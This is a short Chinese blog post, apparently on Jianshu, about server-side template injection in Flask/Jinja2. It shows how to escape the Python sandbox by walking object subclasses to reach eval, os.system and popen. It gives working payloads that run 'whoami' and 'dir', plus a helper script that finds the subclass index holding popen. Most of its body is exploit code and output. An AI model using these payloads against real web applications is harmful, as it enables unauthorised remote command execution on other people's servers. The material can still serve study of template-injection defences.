SSTI实践

文章参考
绕过python沙盒
在python3中,文章中是这样绕过python沙盒的

().__class__.__bases__[0].__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")

但是这样的方式想要执行系统命令,需要导入os模块,而在Flask/Jinja2等比较新的版本中,会检测禁用导入os模块,这样就无法达到命令执行的效果,这个时候可以使用这样一种payload:

#coding:utf-8
search = "popen"

num = -1
#().__class__.__bases__[0].__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")
for i in ().__class__.__bases__[0].__subclasses__():
    num +=1
    try:
        if search in i.__init__.__globals__.keys():
            print(num,i)
    except Exception as e:
        pass
128 <class 'os._wrap_close'>

所以我们可以构造这样一个payload来执行命令:

().__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('dir').read()
().__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['system']('dir')
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 【转】http://bendawang.site/2018/03/01/%E5%85%B3%E4%BA%8EPyt...
    fatshi阅读 1,615评论 0 1
  • 模块和包 一 模块 1 什么是模块? 常见的场景:一个模块就是一个包含了python定义和声明的文件,文件名就是...
    go以恒阅读 2,303评论 0 4
  • # Python 资源大全中文版 我想很多程序员应该记得 GitHub 上有一个 Awesome - XXX 系列...
    小迈克阅读 3,056评论 1 3
  • 文/蓝染馨颜 去年看《夏洛特烦恼》的时候,就有人评价它是一部“青春的赞歌”,更有人说这部影片让他看到了“中国电影的...
    雁北堂阅读 911评论 0 0
  • 在儿子十岁这一年,我怀孕了,并且决定留下这个小生命。还没从怀孕的欣喜中走出来就被孕吐打垮了,每天什么东西也吃不下,...
    5ef7367cea56阅读 423评论 0 1